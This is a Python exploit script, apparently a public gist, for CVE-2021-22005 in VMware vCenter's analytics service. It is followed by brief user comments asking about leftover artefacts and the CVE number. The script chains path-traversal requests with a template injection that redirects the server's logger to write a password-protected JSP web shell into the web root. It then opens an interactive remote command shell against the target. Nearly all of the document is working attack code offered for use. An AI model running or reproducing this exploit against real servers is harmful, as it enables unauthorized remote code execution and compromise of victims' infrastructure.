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import requests
import random
import string
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "&lt;")
_str = _str.replace(">", "&gt;")
_str = _str.replace("\"", "&quot;")
return _str
def run_shell(url, pwd, cmd):
burp0_url = url
burp0_headers = {"User-Agent": "Mozilla/5.0", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {pwd: cmd.strip()}
ct = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False).content
ct = ct.split('<pre>')[1].split('</pre>')[0]
return ct
def createAgent(url, agent_name):
burp0_url = url + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c="+agent_name+"&_i=test2"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}
burp0_json={"manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded": True,"deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7","localPayloadPath": "a8","localObfuscationMapPath": "a9" }
requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
pwd = id_generator(6)
agent_name = id_generator(6)
shell_name = id_generator(6)+".jsp"
manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setFile("/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s")
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().activateOptions()
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setAppend(false)
$GLOBAL-logger.info('<%%@ page import="java.util.*,java.io.*"%%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%%if (request.getParameter("%s") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("%s")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%%></pre></BODY></HTML>')
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setFile("/var/log/vmware/analytics/analytics.log")
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().activateOptions()
$GLOBAL-logger.getLogger().getParent().getAllAppenders().nextElement().setAppend(true)
#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
#set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
#set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
$obj.addProperty("OSTYPE", "asdasda")##
$obj.addProperty("BUILD", $content-about-build)##
$obj.addProperty("VERSION", $content-about-version)##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (shell_name, pwd, pwd)
target = sys.argv[1]
print "Target: "+ target
print "Creating Agent (of SHIELD) ..."
createAgent(target, agent_name)
print "Collecting Agent (of SHIELD) ..."
burp0_url = target+"/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c="+agent_name+"&_i=test2"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}
burp0_json={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, proxies={"https":"http://127.0.0.1:8080"})
print "Success!"
print "Shell: " + target+"/idm/..;/"+shell_name
print "Pwd: "+ pwd
print "Launching pseudo shell ..."
while True:
cmd = raw_input("/remote_shell/# ").strip()
if(cmd =="quit"):
sys.exit(-1)
output = run_shell(target+"/idm/..;/"+shell_name,pwd, cmd)
time.sleep(1)
print(output)
@Grezzo
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Grezzo commented Sep 29, 2021

Nice job! What artefacts would be left behind after running this? Just an agent and the webshell? How can the agent be cleared up?

@MAYDA7
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MAYDA7 commented Sep 30, 2021

Is this a CVE?

@Grezzo
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Grezzo commented Sep 30, 2021

Is this a CVE?

CVE-2021-22005

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